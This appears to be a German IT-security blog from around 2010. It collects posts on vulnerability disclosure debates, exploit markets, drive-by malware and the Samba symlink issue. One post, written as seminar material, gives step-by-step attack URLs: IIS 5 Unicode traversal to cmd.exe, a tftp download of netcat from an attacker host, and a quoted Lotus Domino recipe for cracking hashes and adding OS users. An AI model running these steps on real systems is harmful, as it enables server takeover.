Mitternachtshacking

Microsoft beispielsweise. Erst mault der Softwarehersteller ständig über Full Disclosure, d.h. wenn Sicherheitslücken komplett für jeden zugänglich veröffentlicht werden (weil die bösen Hacker die Informationen ja auch lesen können), jetzt mault der Softwarehersteller über “Null Disclosure”, d.h. über Firmen die auf gefundenen Sicherheitslücken sitzenbleiben und Details nur gegen bares rausrücken.

Tja liebes Microsoft. Wer auf soviel Cash sitzt wie ihr muß vielleicht selbst mal ein vernünftiges Bounty-Programm (”Prämien für gefundene Sicherheitslücken”) aufsetzen. Dann klappt es auch wieder mit dem “Responsible Disclosure”, d.h. außer dem Hersteller erfährt sonst niemand von der Lücke. Denn ganz ehrlich, Fehlersuche ist harte Arbeit geworden. Die Zeiten als man mit einem billigen selbstgebastelten Fuzzer noch wahre Exploitorgien finden konnte sind lange vorbei. Viele dieser Tests machen die Softwarehersteller inzwischen selbst.

Ob der Weg von VUPEN allerdings richtig ist, erst nach Lücken zu suchen und dann den Softwareanbieter unter Druck zu setzen entweder er zahlt oder die Lücken werden anderweitig veröffentlicht, muß ich allerdings bezweifeln. Und da kann ich wiederum Microsoft gut verstehen, die sich in diesem Fall vermutlich direkt erpresst vorkommen und fürchten für umfangreiche weitere Erpressungen die Tür zu öffnen.

Auf jeden Fall bleibt es spannend.

Eine Studie des Antivirensoftware-Herstellers Avast hat ergeben, dass die meisten Webseiten die versuchen, Benutzer mit Schadprogrammen zu infizieren ganz normale Webseiten und keine obskuren Adult- oder Hacker-Seiten sind. Angeblich kommen 99% der Angriffe von eigentlich legitimen aber infizierten Webseiten:

“HTML files from sub-domain blackberry.vodafone.co.uk still contain malicious code at the time of writing but point to a site containing the attack payload site that has been pulled offline.”

Ich kann mir das gut vorstellen. Immerhin gibt es in vielen Unternehmen URL-Filter die bestimmte Seiten generell blockieren. Dazu gehören eben viele Adult- und Hacker-Seiten. Die Zielgruppe wäre deshalb recht gering wenn sich die Angreifer nur auf solche Seiten stürzen würden. Viel lukrativer sind doch infizierte Werbeserver wie erst vor einigen Monaten wieder bei Holtzbrinck passiert. Damit erwischt man auf einen Schlag tausende nichtsahnender Anwender und hat (weil u.a. genug Firmen noch den Internet Explorer 6 einsetzen) auch eine gute Ergebnisquote.

Ich hatte erst vor ein paar Tagen hier einen Beitrag zu Vulnerability Disclosure veröffentlicht. Die gängige Diskussion ist dabei vor allem, was ist ein “Responsible” Disclosure also eine verantwortunsbewußte Veröffentlichung von Sicherheitslücken. Hier wird in der IT-Security Branche bekanntlich heftig gestritten. Die eine Front verlangt ausreichend (notfalls beliebig) Zeit für die Hersteller um Sicherheitslücken zu beheben, die andere Front will Lücken so schnell wie möglich veröffentlichen um Hersteller zu zwingen, auf bekannte Lücken auch tatsächlich zügig mit einem Patch zu reagieren. In der Praxis lassen viele Leute dem Hersteller zwischen 30 und 90 Tagen Zeit um einen Patch zu entwickeln und veröffentlichen dann Details zu einer Lücke, auch wenn der Hersteller nach dieser Zeit noch keinen Patch veröffentlicht hat. Das ist ein relativ guter Kompromiß zwischen beiden Lagern.

Aktuell gibt es jetzt einen Fall in dem der Entdecker einer Lücke dem Hersteller nur wenige Tage gelassen hat und schon sind wieder alle am Streiten.

Tavis Ormandy, ein Entwickler bei Google hat eine technisch interessante (weil recht komplexe) Sicherheitslücke im Hilfe- und Support-Center von Microsoft Windows entdeckt. Details zur Lücke und einen Demo-Exploit hat Tavis am 10.06. auf der Full-Disclosure Mailingliste veröffentlicht. Die Mailingliste kann jeder abonnieren und bekommt automatisch alles zugeschickt was dorthin geschickt wird. Leider ist auch viel Schrott auf der Liste, weil sie kaum moderiert wird. Microsoft wurde am 05.06. von Tavis über diese Lücke informiert und hat den Eingang am gleichen Tag bestätigt.

Tavis wirft Microsoft jetzt vor, seit 05.06. nichts mehr gehört zu haben, nimmt deshalb an, es kümmert sich keiner um die Lücke und veröffentlicht 5 Tage später den Exploit mit dem dezenten Hinweis:

“Those of you with large support contracts are encouraged to tell your support representatives that you would like to see Microsoft invest in developing processes for faster responses to external security reports.”

Und das ausgerechnet von einem Mitarbeiter von Google, der Firma die vor wenigen Wochen großmäulig Microsoft-Betriebssysteme in die Tonne getreten hat. Das hat schon ein “Geschmäckle”. Tavis begründet sein schnelles Disclosure zwar unter anderem damit, dass er vermutet die bösen Hacker würden diese Lücke bereits ausnutzen. Dafür fehlen jedoch die nötigen Beweise. Außerdem hat Tavis einen Workaround mitgeliefert, der den Angriff verhindern sollte bei dem sich jedoch herausgestellt hat, dass der Schutz nicht richtig wirksam ist.

Und nun stellt sich die berechtigte Frage, ob das Vorgehen von Tavis noch von “Responsible Disclosure” gedeckt ist oder ob ein Google-Mitarbeiter die gute Gelegenheit genutzt hat, mit einer neuen Sicherheitslücke Microsoft eins auszuwischen und den Konzern vielleicht sogar dazu zu nötigen, einen Patch außerhalb der normalen Update-Sequenz herauszubringen. Und damit quasi als Kollateralschaden Millionen von Windows-Anwendern gefährdet. Ich weiß es nicht. Aber als Administrator bin ich über “aus der Reihe Patches” nie besonders glücklich. Vermutlich hätte man die Kommunikation über diese Lücke klüger handhaben könne.

Auf der DailyDave-Mailingliste gefunden:

Auf dem “Workshop on the Economics of Information Security 2010” hat der mir vorher nicht bekannte Sam Ransbotham ein Paper veröffentlicht mit dem Titel: “An Empirical Analysis of Exploitation Attempts based on Vulnerabilities in Open Source Software” (PDF). Zu diesem Paper gibt es auch einen Artikel auf Technology Review.

Seine Kernaussage (und ich bin sicher, ein paar Leute bei Microsoft haben das mit Freude gelesen) ist, dass Open Source Software bezüglich Sicherheitslücken die vor der Veröffentlichung gefunden werden möglicherweise einen Sicherheitsvorteil gegenüber Closed Source hat. Falls Sicherheitslücken jedoch erst nach der Veröffentlichung gefunden werden, hat Open Source den Nachteil, dass jeder die Lücken sehen und leicht analysieren kann. Angreifer werden Lücken in Open Source deshalb bevorzugt ausnutzen.

Ich halte wie Dave Aitel sowohl die These für falsch, als auch die Zahlen die er zur Untermauerung verwendet.

Argument 1: Sicherheitslücken werden von Angreifern dann ausgenutzt, wenn es sich für den Angreifer lohnt. Die meisten Angriffe auf Rechner erfolgen heute durch Software wie Adobe Flash oder den Adobe Reader über den Webbrowser auf Windows. Der Grund ist einfach. Finanziell lohnt es sich eher, einen Angriff für das Betriebssystem von 94% der Rechner im Internet zu entwickeln als für die paar Mac OS X oder Linux-Rechner, selbst wenn z.B. der Linux-Source-Code komplett vorhanden ist. Und Flash ist als Browser-Plugin am weitesten verbreitet, auch deshalb werden Exploits speziell für Flash gesucht. Obwohl Flash Closed Source ist.

Argumtent 2: Die von ihm verwendeten Zahlen stimmen einfach nicht. Man kann die Anzahl der Einträge in der National Vulnerability Database (NVD) oder irgendeiner sonstigen Schwachstellendatenbank für Open Source und Closed Source einfach nicht vergleichen. Bei Open Source ist das Standard-Fehlerbehandlungsmodell, dass wenn eine Lücke bekannt wird, für diese Lücke ein Patch entwickelt wird und in den Source-Tree eingepflegt wird. Für die nächste Lücke gibt es den nächsten Patch und auch der wird direkt eingepflegt. Weil jeder den Source-Tree ansehen kann, gibt folglich jede Lücke einen eigenen Vulnerability-Datenbankeintrag. Bei Closed Source liegt es im Interesse des Herstellers (und meist auch der Kunden), dass nicht für jede Lücke direkt ein Patch veröffentlicht wird sondern alle Lücken in einem bestimmten Programm innerhalb eines gewissen Zeitraums in einem gemeinsamen Patch veröffentlicht werden, der hoffentlich gut getestet wurde. Microsoft macht das beispielsweise sehr gerne und behebt mit einem Patch in der Regel mehrere Lücken. Natürlich steht Closed Source dann bzgl. der reinen Zahl der Einträge in einer Schwachstellendatenbank besser da. Daraus jedoch Rückschlüsse auf die Sicherheit ziehen zu wollen ist dumm und naiv.

Im Ergebnis läßt sich mal wieder nur feststellen, dass Sam Ransbotham eine weitere Chance für einen realistischen und echten Vergleich der Sicherheit von Open und Closed Source vertan hat. Eine aussagekräftige und unabhängig überprüfbare Real-World Analyse fehlt mit leider bis heute. Aber egal, gehackt wird sowieso alles

Früher gab es ja immer die Diskussion, ob und wie Sicherheitslücken veröffentlicht werden sollen. Da gab es im großen und ganzen drei Schulen:

1. No Disclosure

No Disclosure bedeutet, man hält die Lücke einfach für sich selbst geheim. Kann  man immer mal brauchen. Mit dem Risiko, dass natürlich jemand anderes die Lücke auch findet. No Disclosure war früher typisch bei Schadprogrammautoren. Wenn die mal eine Lücke hatten, wurden damit Schadprogramme verbreitet und irgendwann über Projekte wie das Honeynet wurde dadurch die Lücke irgendwann bekannt und gestopft.

2. Responsible Disclosure

Das war der Begriff den Firmen wie Microsoft geprägt haben, die Sicherheitslücken am liebsten vertuscht haben. Mit Responsible Disclosure sollte eine Sicherheitslücke nur dem Hersteller bekanntgegeben werden damit dieser dann beliebig lange Zeit hat die Lücke zu beheben. Ein paar Firmen wollten daraus sogar einen Standard (RFC) machen, der aber glücklicherweise dann nicht in den Standard aufgenommen wurde. Firmen wie eEye konnten zeigen, dass sich Microsoft bei “responsible” bekanntgegebenen Lücken sehr viel länger Zeit läßt, diese zu beheben. In der Praxis hat sich eine Art Responsible Disclosure durchgesetzt, weil die Sicherheitsfirmen halt auf Aufträge der großen Softwarehersteller angewiesen sind.

3. Full Disclosure

Sicherheitslücken, möglicherweise inkl. Exploit werden auf einer öffentlichen Webseite oder Mailingliste bekanntgegeben und stehen damit Softwarefirmen genauso wie Angreifern direkt und gleichzeitig zur Verfügung. Ein Softwarehersteller muß dann natürlich schnell reagieren und einen Patch bereitstellen der möglichst keine Nebeneffekte haben darf d.h. unter Zeitdruck sorgfältig entwickelt und getestet werden muß.

Heute muß man meiner Ansicht nach andere Kriterien anwenden:

1.  Free Disclosure

Sicherheitslücken bzw. Exploits werden (egal wann) auf einer kostenfreien Webseite oder Mailingliste bereitgestellt. Namentlich kann man SecurityFocus oder Metasploit nennen.

2. Disclosure über einen Exploit Broker

Eine Reihe von Agenturen kaufen Sicherheitslücken von Entwicklern auf und geben diese dann an den Herstellern weiter.  ZDI (TippingPoint/3Com/HP), iDefense (Verisign) und Co. sind hier zu nennen. Ein Exploit Broker hat den Vorteil, dass man mit einem Exploit Geld verdienen kann, jedoch praktisch kein Risiko eingeht, wegen dieses Exploits auch verklagt zu werden. Gerade für einzelne Programmierer ist das eine brauchbare Alternative.

3. Kommerzielle Exploit-Software

Neben ZDI/iDefense gibt es auch Firmen wie Core oder Immunity, die Sicherheitslücken z.B. von freiberuflichen Exploitentwicklern kaufen und in ihre kommerziellen Frameworks mit aufnehmen. Dazu gibt es sogar eine “No more free bugs” Initiative.

Mein Eindruck ist, dass sich der Trend zu kommerziell vermarkteten Sicherheitslücken in den nächsten Jahren verstärken wird. Das wird dazu führen, dass nur noch große finanzkräftige Firmen sich alle notwendigen Sicherheitslücken z.B. für Penetrationstests zusammenkaufen können. Ob das eine wünschenswerte Entwicklung ist, will ich mal offen lassen.

Literatur zum Nachlesen:

• “Vulnerability trading markets and you” by Michal Zalewski (lcamtuf):
  http://lcamtuf.blogspot.com/2010/04/vulnerability-trading-markets-and-you.html
• “Vulnerability Disclosure is Rude” by Robert Graham:
  http://erratasec.blogspot.com/2010/04/vuln-disclosure-is-rude.html
• No More Free Bugs movement by Charlie Miller, Alex Sotirov and Dino Dai Zovi:
  http://trailofbits.com/2009/03/22/no-more-free-bugs/
• Dailydave Post by Dave Aitel:
  http://lists.immunitysec.com/pipermail/dailydave/2010-April/006100.html

Ich bin gespannt, wie sich das weiterentwickelt.

Mehrstufige Angriffe sind nach meiner Definition Angriffe, die mit einer scheinbar kleinen Lücke beginnen, die dann aber über mehrere Einzelschritte zu einer völligen Kompromittierung eines Systems führen. In meinen Hacking-Seminaren verwende ich gerne ein Beispiel, das zwar steinalt ist, die Systematik eines Angriffs aber sehr schön vorführt: den IIS 5 Unicode Path Traversal Angriff.

Auf den ersten Blick sieht der Unicode Path Traversal harmlos aus. Man kann damit auf Dateien außerhalb des eigentlich freigegebenen Verzeichnisses zugreifen. Das sieht aus wie eine relativ harmlose Verletzung der Vertraulichkeit auf einem öffentlichen Webserver. Die Folgeschritte sehen dann so aus:

1. Unicode Path Traversal erlaubt es auf Dateien außerhalb des Inetpub zuzugreifen.
2. Das Scripts-Verzeichnis (und Unterverzeichnisse) enthält Dateien, die ausgeführt werden dürfen.
3. Mit Hilfe des Scripts-Verzeichnisses und dem Path Traversal kann man die cmd.exe starten, wenn sich Inetpub und WINNT auf dem gleichen Laufwerk befinden. Die URL die ich verwende ist “http://[Server-IP]/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir”.
4. Bequemerweise kopiert man sich die cmd.exe direkt in das Scripts-Verzeichnis.
5. Ãœber die cmd.exe kann man TFTP starten und beispielsweise Netcat herunterladen. Die URL die ich verwende ist “http://[Server-IP]/scripts/cmd.exe?/c+tftp+-i+[Angreifer-IP]+GET+nc.exe”.
6. Netcat kann man wiederum über die cmd.exe als Server starten. Schon hat man einen interaktiven Zugang. Allerdings mit beschränkten Rechten.
7. Mit dem IIS-Exploit der httpodbc.dll kann man LocalSystem-Rechte bekommen. Die httpodbc.dll lädt man beispielsweise via TFTP in das Scripts-Verzeichnis.

Im Ergebnis hat man dann den Rechner komplett übernommen. Natürlich gibt es den Unicodeloader, der diverse Schritte automatisch durchführt aber ich halte es für eine nette Übung, das schrittweise durchzuführen.

Für Lotus Notes gibt es jetzt eine ähnliche Anleitung: “Getting OS Access Using Lotus Domino Application Server” (PDF) von DSecRG:

1. Run raptor_dominohash script and collect all password hashes
   ./raptor_dominohash 192.168.0.202
2. Save hashes in file using format described in the Stage 3.
3. Run JohnTheRipper with hashes file generated at the previous step
   ./john HASH.txt –format=lotus5
4. If you find administrator’s hash you can address to:
   http://servername/webadmin.nsf
5. In Quick Console run command that adds a new user to OS
   load cmd /c net user dsecrG password /all
6. For testing if this command successfully executed we run net user command and save the results to the file.
   load cmd /c net user > C:\Lotus\Domino\data\domino\html\download\filesets\netuser1.png
7. To view the results we open the following link:
   http://servername/download/filesets/netuser1.png

Ok, für diesen Angriff braucht man ein erfolgreich gecracktes Admin-Login aber man kann das Verfahren leicht anpassen wenn man einen geeigneten Exploit für Lotus Domino hat. Mal sehen, vielleicht nehme ich das weiteres Beispiel für mehrstufige Angriffe in meinen Hacking-Workshop mit auf.

Eben gelesen:

“Isn’t that why we build DMZ networks with firewalls in front and behind them?  The point of doing that is so that it requires more than one server-side exploit to get into your organization.  Thanks to rich Internet client applications, it now only requires one client-side exploit to get into your organization.”

Die Bedrohungssituation hat sich für viele Firmen fast unbemerkt verschoben. Die Angriffe richten sich seltener gegen ihre Web-, Mail- und DNS-Server (obwohl Webapplikationen immer noch gerne kompromittiert werden) und statt dessen verstärkt gegen Clients, die im Internet surfen. Ein Client-Exploit im Browser eines Benutzers der mit lokalen Administratorrechten surft genügt, um die Sicherheit eines kompletten Unternehmens zu gefährden.

(von Dino A. Dai Zovi)

Ab und zu gibt es so Geschichten die irgendwie schwer einzuordnen sind. Beispielsweise die seltsame Geschichte des Samba Zero-Day Exploits. Ich rekapituliere mal kurz die Ereignisse:

Fr, 05.02.: Kingcope veröffentlicht einen Exploit mit dem sich via Symlink Beschränkungen auf Samba-Freigaben aufheben lassen. Dazu hat er einen Sambaclient modifiziert um diese Symlinks anlegen zu können.

“A remote attacker can read, list and retrieve nearly all files on the System remotely.
Required is a valid samba account for a share which is writeable OR a writeable share which is configured to be a guest account share, in this case this is a preauth exploit.”

Die Samba-Entwickler sind relativ schnell mit einem Advisory zur Hand, das dieses Problem erklärt.

Mo, 08.02.: Paul Szabo weist den Fehler zurück es handle sich um eine Fehlkonfiguration wenn diese Symlinks vom Sambadienst berücksichtigt werden.

“Nothing breaks if the admin sets “wide links = no” for that share: the link is not followed.”

Und dann driftet die Diskussion in das Verhalten von SMB auf Windows 2008 ab:

“Since Windows 2000 NTFS supports “junctions”, which pretty much resemble Unix symlinks, but only for directories. And at least since Vista, it also supports symlinks, which are designed to mimic Unix symlinks, and can point to files or directories. Junctions
and symlinks can cross volumes; symlinks can also refer to files or directories on network filesystems.”

Ende der Diskussion. Was praktisch nicht zur Sprache kommt ist, ob z.B. die Defaultkonfiguration von Samba einfach schlecht ist und nicht das erwartet, was der typische Administrator erwartet. Zumindest kann man nicht von “Safe Defaults” sprechen. Aber wenigstens soll die Standardeinstellung in der nächsten Version behoben werden:

“All future versions of Samba will have the parameter “wide links” set to “no” by default, and the manual pages will be updated to explain this issue.”

Und daraus kann man eine recht einfache Lehre ziehen. Wenn ein Programm in einer Konfiguration Defaulteinstellungen vornimmt, müssen diese der Erwartungshaltung der Administratoren entsprechen. Alles andere ist genauso ein Sicherheitsrisiko wie wenn es sich bei diesem Fehler um einen echten Zero-Day Exploit gehandelt hätte. Erstaunlich ist meiner Ansicht nach, daß es immer noch so viele Programme gibt, die sich nicht an diese Regel halten.

Nur ein Link: http://extraexploit.blogspot.com/. Kommt in meine Blogroll.

Dave Aitel schrieb heute auf seiner Dailydave-Mailingliste:

Not so long ago, ASLR and DEP were gaining wide acceptance. Execshield was on almost all Linux systems, and the “golden age” of buffer overflow exploitation looked like it was coming to a close.

[…]

Today, Immunity released a working version of the Aurora exploit for Windows 7 and IE8 today to CANVAS Early Updates. It does this by playing some very odd tricks with Flash’s JIT compiler. This technique is extendible to almost all similar vulnerabilities. In other words, ASLR and DEP are not longer the shield they once were.

Wenn das alles so stimmt (Dave Aitel will primär sein Canvas verkaufen, da ist einiges mit Vorsicht zu genießen) schließe ich zwei Sachen daraus:

1. Just-in-Time Compiler sind böse, weil die meisten JIT Compiler ASLR und/oder DEP abschalten und damit Angriffe erleichtert werden.
2. ASLR und DEP sind längst nicht die goldenen Schilde die vor allen möglichen Programmierfehlern und Schlampereien der Entwickler schützen, insbesondere was Puffermanagement angeht, sobald der Anwender z.B. Flash, Java, etc. verwendet.

Ob da jetzt Adobe (wie bei Apple) der Böse ist oder der Flash JIT nur verwendet wird, weil er weit verbreitet ist, kann ich noch nicht sagen. Die Canvas Early Updates in denen das bisher released wurde sind derart teuer, die will ich mir nicht leisten. Aber ich denke es lohnt sich nicht nur für Exploitprogrammierer, das Thema zu beobachten.

Nachtrag:

The Register hat das Thema aufgegriffen.